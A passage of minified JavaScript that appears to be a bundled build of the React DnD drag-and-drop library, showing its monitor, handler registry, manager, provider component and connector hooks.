this.store.getState().dragOffset.initialClientOffset}},{key:"getInitialSourceClientOffset",value:function(){return this.store.getState().dragOffset.initialSourceClientOffset}},{key:"getClientOffset",value:function(){return this.store.getState().dragOffset.clientOffset}},{key:"getSourceClientOffset",value:function(){return e=this.store.getState().dragOffset,t=e.clientOffset,r=e.initialClientOffset,n=e.initialSourceClientOffset,t&&r&&n?ge(function(e,t){return{x:e.x+t.x,y:e.y+t.y}}(t,n),r):null;var e,t,r,n}},{key:"getDifferenceFromInitialOffset",value:function(){return e=this.store.getState().dragOffset,t=e.clientOffset,r=e.initialClientOffset,t&&r?ge(t,r):null;var e,t,r}}])&&ye(t.prototype,r),n&&ye(t,n),e}(),be=0;function me(e){return(me="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Oe(e,t){t&&Array.isArray(e)?e.forEach((function(e){return Oe(e,!1)})):c("string"==typeof e||"symbol"===me(e),t?"Type can only be a string, a symbol, or an array of either.":"Type can only be a string or a symbol.")}function Se(e){De.length||we(),De[De.length]=e}var we,De=[],Ie=0;function Ce(){for(;Ie<De.length;){var e=Ie;if(Ie+=1,De[e].call(),Ie>1024){for(var t=0,r=De.length-Ie;t<r;t++)De[t]=De[t+Ie];De.length-=Ie,Ie=0}}De.length=0,Ie=0}var ke,Te,Pe,je="undefined"!=typeof global?global:self,Ee=je.MutationObserver||je.WebKitMutationObserver;function Re(e){return function(){var t=setTimeout(n,0),r=setInterval(n,50);function n(){clearTimeout(t),clearInterval(r),e()}}}"function"==typeof Ee?(ke=1,Te=new Ee(Ce),Pe=document.createTextNode(""),Te.observe(Pe,{characterData:!0}),we=function(){ke=-ke,Pe.data=ke}):we=Re(Ce),Se.requestFlush=we,Se.makeRequestCallFromTimer=Re;var xe=[],Me=[],Ae=Se.makeRequestCallFromTimer((function(){if(Me.length)throw Me.shift()}));function _e(e){var t;(t=xe.length?xe.pop():new Ne).task=e,Se(t)}var Ne=function(){function e(){}return e.prototype.call=function(){try{this.task.call()}catch(e){_e.onerror?_e.onerror(e):(Me.push(e),Ae())}finally{this.task=null,xe[xe.length]=this}},e}();function He(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function Ue(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $e(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return $e(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $e(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Fe(e){var t=(be++).toString();switch(e){case r.SOURCE:return"S".concat(t);case r.TARGET:return"T".concat(t);default:throw new Error("Unknown Handler Role: ".concat(e))}}function Le(e){switch(e[0]){case"S":return r.SOURCE;case"T":return r.TARGET;default:c(!1,"Cannot parse handler ID: ".concat(e))}}function Be(e,t){var r=e.entries(),n=!1;do{var o=r.next(),i=o.done;if(Ue(o.value,2)[1]===t)return!0;n=!!i}while(!n);return!1}var Ge=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.types=new Map,this.dragSources=new Map,this.dropTargets=new Map,this.pinnedSourceId=null,this.pinnedSource=null,this.store=t}var t,n,o;return t=e,(n=[{key:"addSource",value:function(e,t){Oe(e),function(e){c("function"==typeof e.canDrag,"Expected canDrag to be a function."),c("function"==typeof e.beginDrag,"Expected beginDrag to be a function."),c("function"==typeof e.endDrag,"Expected endDrag to be a function.")}(t);var n=this.addHandler(r.SOURCE,e,t);return this.store.dispatch(function(e){return{type:X,payload:{sourceId:e}}}(n)),n}},{key:"addTarget",value:function(e,t){Oe(e,!0),function(e){c("function"==typeof e.canDrop,"Expected canDrop to be a function."),c("function"==typeof e.hover,"Expected hover to be a function."),c("function"==typeof e.drop,"Expected beginDrag to be a function.")}(t);var n=this.addHandler(r.TARGET,e,t);return this.store.dispatch(function(e){return{type:J,payload:{targetId:e}}}(n)),n}},{key:"containsHandler",value:function(e){return Be(this.dragSources,e)||Be(this.dropTargets,e)}},{key:"getSource",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];c(this.isSourceId(e),"Expected a valid source ID.");var r=t&&e===this.pinnedSourceId,n=r?this.pinnedSource:this.dragSources.get(e);return n}},{key:"getTarget",value:function(e){return c(this.isTargetId(e),"Expected a valid target ID."),this.dropTargets.get(e)}},{key:"getSourceType",value:function(e){return c(this.isSourceId(e),"Expected a valid source ID."),this.types.get(e)}},{key:"getTargetType",value:function(e){return c(this.isTargetId(e),"Expected a valid target ID."),this.types.get(e)}},{key:"isSourceId",value:function(e){return Le(e)===r.SOURCE}},{key:"isTargetId",value:function(e){return Le(e)===r.TARGET}},{key:"removeSource",value:function(e){var t=this;c(this.getSource(e),"Expected an existing source."),this.store.dispatch(function(e){return{type:Q,payload:{sourceId:e}}}(e)),_e((function(){t.dragSources.delete(e),t.types.delete(e)}))}},{key:"removeTarget",value:function(e){c(this.getTarget(e),"Expected an existing target."),this.store.dispatch(function(e){return{type:Z,payload:{targetId:e}}}(e)),this.dropTargets.delete(e),this.types.delete(e)}},{key:"pinSource",value:function(e){var t=this.getSource(e);c(t,"Expected an existing source."),this.pinnedSourceId=e,this.pinnedSource=t}},{key:"unpinSource",value:function(){c(this.pinnedSource,"No source is pinned at the time."),this.pinnedSourceId=null,this.pinnedSource=null}},{key:"addHandler",value:function(e,t,n){var o=Fe(e);return this.types.set(o,t),e===r.SOURCE?this.dragSources.set(o,n):e===r.TARGET&&this.dropTargets.set(o,n),o}}])&&He(t.prototype,n),o&&He(t,o),e}();function qe(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Ve(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function We(e){var t="undefined"!=typeof window&&window.__REDUX_DEVTOOLS_EXTENSION__;return u(he,e&&t&&t({name:"dnd-core",instanceId:"dnd-core"}))}var Ye=function(){function e(){var t=this,r=arguments.length>0&&void 0!==arguments[0]&&arguments[0];qe(this,e),this.isSetUp=!1,this.handleRefCountChange=function(){var e=t.store.getState().refCount>0;t.backend&&(e&&!t.isSetUp?(t.backend.setup(),t.isSetUp=!0):!e&&t.isSetUp&&(t.backend.teardown(),t.isSetUp=!1))};var n=We(r);this.store=n,this.monitor=new ve(n,new Ge(n)),n.subscribe(this.handleRefCountChange)}var t,r,n;return t=e,(r=[{key:"receiveBackend",value:function(e){this.backend=e}},{key:"getMonitor",value:function(){return this.monitor}},{key:"getBackend",value:function(){return this.backend}},{key:"getRegistry",value:function(){return this.monitor.registry}},{key:"getActions",value:function(){var e=this,t=this.store.dispatch,r=function(e){return{beginDrag:w(e),publishDragSource:T(e),hover:j(e),drop:H(e),endDrag:L(e)}}(this);return Object.keys(r).reduce((function(n,o){var i,a=r[o];return n[o]=(i=a,function(){for(var r=arguments.length,n=new Array(r),o=0;o<r;o++)n[o]=arguments[o];var a=i.apply(e,n);void 0!==a&&t(a)}),n}),{})}},{key:"dispatch",value:function(e){this.store.dispatch(e)}}])&&Ve(t.prototype,r),n&&Ve(t,n),e}();function ze(e,t,r,n){var o=new Ye(n),i=e(o,t,r);return o.receiveBackend(i),o}var Ke=t.createContext({dragDropManager:void 0});function Xe(e,t,r,n){return{dragDropManager:ze(e,t,r,n)}}function Je(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Qe(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Qe(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Qe(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Ze(e,t){if(null==e)return{};var r,n,o=function(e,t){if(null==e)return{};var r,n,o={},i=Object.keys(e);for(n=0;n<i.length;n++)r=i[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n<i.length;n++)r=i[n],t.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var et=0,tt=t.memo((function(e){var r=e.children,n=Je(function(e){if("manager"in e){return[{dragDropManager:e.manager},!1]}var t=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:nt(),r=arguments.length>2?arguments[2]:void 0,n=arguments.length>3?arguments[3]:void 0,o=t;o[rt]||(o[rt]=Xe(e,t,r,n));return o[rt]}(e.backend,e.context,e.options,e.debugMode),r=!e.context;return[t,r]}(Ze(e,["children"])),2),o=n[0],i=n[1];return t.useEffect((function(){return i&&et++,function(){i&&(0===--et&&(nt()[rt]=null))}}),[]),t.createElement(Ke.Provider,{value:o},r)}));tt.displayName="DndProvider";var rt=Symbol.for("__REACT_DND_CONTEXT_INSTANCE__");function nt(){return"undefined"!=typeof global?global:window}var ot=t.memo((function(e){var r=e.connect,n=e.src;return t.useEffect((function(){if("undefined"!=typeof Image){var e=!1,t=new Image;return t.src=n,t.onload=function(){r(t),e=!0},function(){e&&r(null)}}})),null}));ot.displayName="DragPreviewImage";var it="undefined"!=typeof window?t.useLayoutEffect:t.useEffect;function at(e,t,r,n){var o=r?r.call(n,e,t):void 0;if(void 0!==o)return!!o;if(e===t)return!0;if("object"!=typeof e||!e||"object"!=typeof t||!t)return!1;var i=Object.keys(e),a=Object.keys(t);if(i.length!==a.length)return!1;for(var u=Object.prototype.hasOwnProperty.bind(t),c=0;c<i.length;c++){var s=i[c];if(!u(s))return!1;var f=e[s],l=t[s];if(!1===(o=r?r.call(n,f,l,s):void 0)||void 0===o&&f!==l)return!1}return!0}function ut(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ct(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return ct(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ct(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function st(e,r,n){var o=ut(t.useState((function(){return r(e)})),2),i=o[0],a=o[1],u=t.useCallback((function(){var t=r(e);at(i,t)||(a(t),n&&n())}),[i,e,n]);return it(u,[]),[i,u]}function ft(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return lt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return lt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function lt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function dt(e,t,r){var n=ft(st(e,t,r),2),o=n[0],i=n[1];return it((function(){var t=e.getHandlerId();if(null!=t)return e.subscribeToStateChange(i,{handlerIds:[t]})}),[e,i]),o}function pt(e,t,r){var n=r.getRegistry(),o=n.addTarget(e,t);return[o,function(){return n.removeTarget(o)}]}function ht(e,t,r){var n=r.getRegistry(),o=n.addSource(e,t);return[o,function(){return n.removeSource(o)}]}function gt(){var e=t.useContext(Ke).dragDropManager;return c(null!=e,"Expected drag drop context"),e}function yt(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var vt=!1,bt=!1,mt=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.sourceId=null,this.internalMonitor=t.getMonitor()}var t,r,n;return t=e,(r=[{key:"receiveHandlerId",value:function(e){this.sourceId=e}},{key:"getHandlerId",value:function(){return this.sourceId}},{key:"canDrag",value:function(){c(!vt,"You may not call monitor.canDrag() inside your canDrag() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor");try{return vt=!0,this.internalMonitor.canDragSource(this.sourceId)}finally{vt=!1}}},{key:"isDragging",value:function(){if(!this.sourceId)return!1;c(!bt,"You may not call monitor.isDragging() inside your isDragging() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor");try{return bt=!0,this.internalMonitor.isDraggingSource(this.sourceId)}finally{bt=!1}}},{key:"subscribeToStateChange",value:function(e,t){return this.internalMonitor.subscribeToStateChange(e,t)}},{key:"isDraggingSource",value:function(e){return this.internalMonitor.isDraggingSource(e)}},{key:"isOverTarget",value:function(e,t){return this.internalMonitor.isOverTarget(e,t)}},{key:"getTargetIds",value:function(){return this.internalMonitor.getTargetIds()}},{key:"isSourcePublic",value:function(){return this.internalMonitor.isSourcePublic()}},{key:"getSourceId",value:function(){return this.internalMonitor.getSourceId()}},{key:"subscribeToOffsetChange",value:function(e){return this.internalMonitor.subscribeToOffsetChange(e)}},{key:"canDragSource",value:function(e){return this.internalMonitor.canDragSource(e)}},{key:"canDropOnTarget",value:function(e){return this.internalMonitor.canDropOnTarget(e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}])&&yt(t.prototype,r),n&&yt(t,n),e}();function Ot(e,t){"function"==typeof e?e(t):e.current=t}function St(e,r){var n=e.ref;return c("string"!=typeof n,"Cannot connect React DnD to an element with an existing string ref. Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute"),n?t.cloneElement(e,{ref:function(e){Ot(n,e),Ot(r,e)}}):t.cloneElement(e,{ref:r})}function wt(e){if("string"!=typeof e.type){var t=e.type.displayName||e.type.name||"the component";throw new Error("Only native element nodes can now be passed to React DnD connectors."+"You can either wrap ".concat(t," into a <div>, or turn it into a ")+"drag source or a drop target itself.")}}function Dt(e){var r={};return Object.keys(e).forEach((function(n){var o=e[n];if(n.endsWith("Ref"))r[n]=e[n];else{var i=function(e){return function(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(!t.isValidElement(r)){var o=r;return e(o,n),o}var i=r;wt(i);var a=n?function(t){return e(t,n)}:e;return St(i,a)}}(o);r[n]=function(){return i}}})),r}function It(e){return(It="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ct(e){return null!==e&&"object"===It(e)&&Object.prototype.hasOwnProperty.call(e,"current")}function kt(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var Tt=function(){function e(t){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.hooks=Dt({dragSource:function(e,t){r.clearDragSource(),r.dragSourceOptions=t||null,Ct(e)?r.dragSourceRef=e:r.dragSourceNode=e,r.reconnectDragSource()},dragPreview:function(e,t){r.clearDragPreview(),r.dragPreviewOptions=t||null,Ct(e)?r.dragPreviewRef=e:r.dragPreviewNode=e,r.reconnectDragPreview()}}),this.handlerId=null,this.dragSourceRef=null,this.dragSourceOptionsInternal=null,this.dragPreviewRef=null,this.dragPreviewOptionsInternal=null,this.lastConnectedHandlerId=null,this.lastConnectedDragSource=null,this.lastConnectedDragSourceOptions=null,this.lastConnectedDragPreview=null,this.lastConnectedDragPreviewOptions=null,this.backend=t}var t,r,n;return t=e,(r=[{key:"receiveHandlerId",value:function(e){this.handlerId!==e&&(this.handlerId=e,this.reconnect())}},{key:"reconnect",value:function(){this.reconnectDragSource(),this.reconnectDragPreview()}},{key:"reconnectDragSource",value:function(){var e=this.dragSource,t=this.didHandlerIdChange()||this.didConnectedDragSourceChange()||this.didDragSourceOptionsChange();t&&this.disconnectDragSource(),this.handlerId&&(e?t&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDragSource=e,this.lastConnectedDragSourceOptions=this.dragSourceOptions,this.dragSourceUnsubscribe=this.backend.connectDragSource(this.handlerId,e,this.dragSourceOptions)):this.lastConnectedDragSource=e)}},{key:"reconnectDragPreview",value:function(){var e=this.dragPreview,t=this.didHandlerIdChange()||this.didConnectedDragPreviewChange()||this.didDragPreviewOptionsChange();t&&this.disconnectDragPreview(),this.handlerId&&(e?t&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDragPreview=e,this.lastConnectedDragPreviewOptions=this.dragPreviewOptions,this.dragPreviewUnsubscribe=this.backend.connectDragPreview(this.handlerId,e,this.dragPreviewOptions)):this.lastConnectedDragPreview=e)}},{key:"didHandlerIdChange",value:function(){return this.lastConnectedHandlerId!==this.handlerId}},{key:"didConnectedDragSourceChange",value:function(){return this.lastConnectedDragSource!==this.dragSource}},{key:"didConnectedDragPreviewChange",value:function(){return this.lastConnectedDragPreview!==this.dragPreview}},{key:"didDragSourceOptionsChange",value:function(){return!at(this.lastConnectedDragSourceOptions,this.dragSourceOptions)}},{key:"didDragPreviewOptionsChange",value:function(){return!at(this.lastConnectedDragPreviewOptions,this.dragPreviewOptions)}},{key:"disconnectDragSource",value:function(){this.dragSourceUnsubscribe&&(this.dragSourceUnsubscribe(),this.dragSourceUnsubscribe=void 0)}},{key:"disconnectDragPreview",value:function(){this.dragPreviewUnsubscribe&&(this.dragPreviewUnsubscribe(),this.dragPreviewUnsubscribe=void 0,this.dragPreviewNode=null,this.dragPreviewRef=null)}},{key:"clearDragSource",value:function(){this.dragSourceNode=null,this.dragSourceRef=null}},{key:"clearDragPreview",value:function(){this.dragPreviewNode=null,this.dragPreviewRef=null}},{key:"connectTarget",get:function(){return this.dragSource}},{key:"dragSourceOptions",get:function(){return this.dragSourceOptionsInternal},set:function(e){this.dragSourceOptionsInternal=e}},{key:"dragPreviewOptions",get:function(){return this.dragPreviewOptionsInternal},set:function(e){this.dragPreviewOptionsInternal=e}},{key:"dragSource",get:function(){return this.dragSourceNode||this.dragSourceRef&&this.dragSourceRef.current}},{key:"dragPreview",get:function(){return this.dragPreviewNode||this.dragPreviewRef&&this.dragPreviewRef.current}}])&&kt(t.prototype,r),n&&kt(t,n),e}();function Pt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return jt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return jt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function jt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Et(e){return(Et="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Rt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return xt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return xt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function xt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Mt(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var At=function(){function e(t){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.hooks=Dt({dropTarget:function(e,t){r.clearDropTarget(),r.dropTargetOptions=t,Ct(e)?r.dropTargetRef=e:r.dropTargetNode=e,r.reconnect()}}),this.handlerId=null,this.dropTargetRef=null,this.dropTargetOptionsInternal=null,this.lastConnectedHandlerId=null,this.lastConnectedDropTarget=null,this.lastConnectedDropTargetOptions=null,this.backend=t}var t,r,n;return t=e,(r=[{key:"reconnect",value:function(){var e=this.didHandlerIdChange()||this.didDropTargetChange()||this.didOptionsChange();e&&this.disconnectDropTarget();var t=this.dropTarget;this.handlerId&&(t?e&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDropTarget=t,this.lastConnectedDropTargetOptions=this.dropTargetOptions,this.unsubscribeDropTarget=this.backend.connectDropTarget(this.handlerId,t,this.dropTargetOptions)):this.lastConnectedDropTarget=t)}},{key:"receiveHandlerId",value:function(e){e!==this.handlerId&&(this.handlerId=e,this.reconnect())}},{key:"didHandlerIdChange",value:function(){return this.lastConnectedHandlerId!==this.handlerId}},{key:"didDropTargetChange",value:function(){return this.lastConnectedDropTarget!==this.dropTarget}},{key:"didOptionsChange",value:function(){return!at(this.lastConnectedDropTargetOptions,this.dropTargetOptions)}},{key:"disconnectDropTarget",value:function(){this.unsubscribeDropTarget&&(this.unsubscribeDropTarget(),this.unsubscribeDropTarget=void 0)}},{key:"clearDropTarget",value:function(){this.dropTargetRef=null,this.dropTargetNode=null}},{key:"connectTarget",get:function(){return this.dropTarget}},{key:"dropTargetOptions",get:function(){return this.dropTargetOptionsInternal},set:function(e){this.dropTargetOptionsInternal=e}},{key:"dropTarget",get:function(){return this.dropTargetNode||this.dropTargetRef&&this.dropTargetRef.current}}])&&Mt(t.prototype,r),n&&Mt(t,n),e}();function _t(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var Nt=!1,Ht=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.targetId=null,this.internalMonitor=t.getMonitor()}var t,r,n;return t=e,(r=[{key:"receiveHandlerId",value:function(e){this.targetId=e}},{key:"getHandlerId",value:function(){return this.targetId}},{key:"subscribeToStateChange",value:function(e,t){return this.internalMonitor.subscribeToStateChange(e,t)}},{key:"canDrop",value:function(){if(!this.targetId)return!1;c(!Nt,"You may not call monitor.canDrop() inside your canDrop() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target-monitor");try{return Nt=!0,this.internalMonitor.canDropOnTarget(this.targetId)}finally{Nt=!1}}},{key:"isOver",value:function(e){return!!this.targetId&&this.internalMonitor.isOverTarget(this.targetId,e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}])&&_t(t.prototype,r),n&&_t(t,n),e}();function Ut(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $t(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return $t(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $t(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Ft(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Lt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Lt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Lt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Bt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var 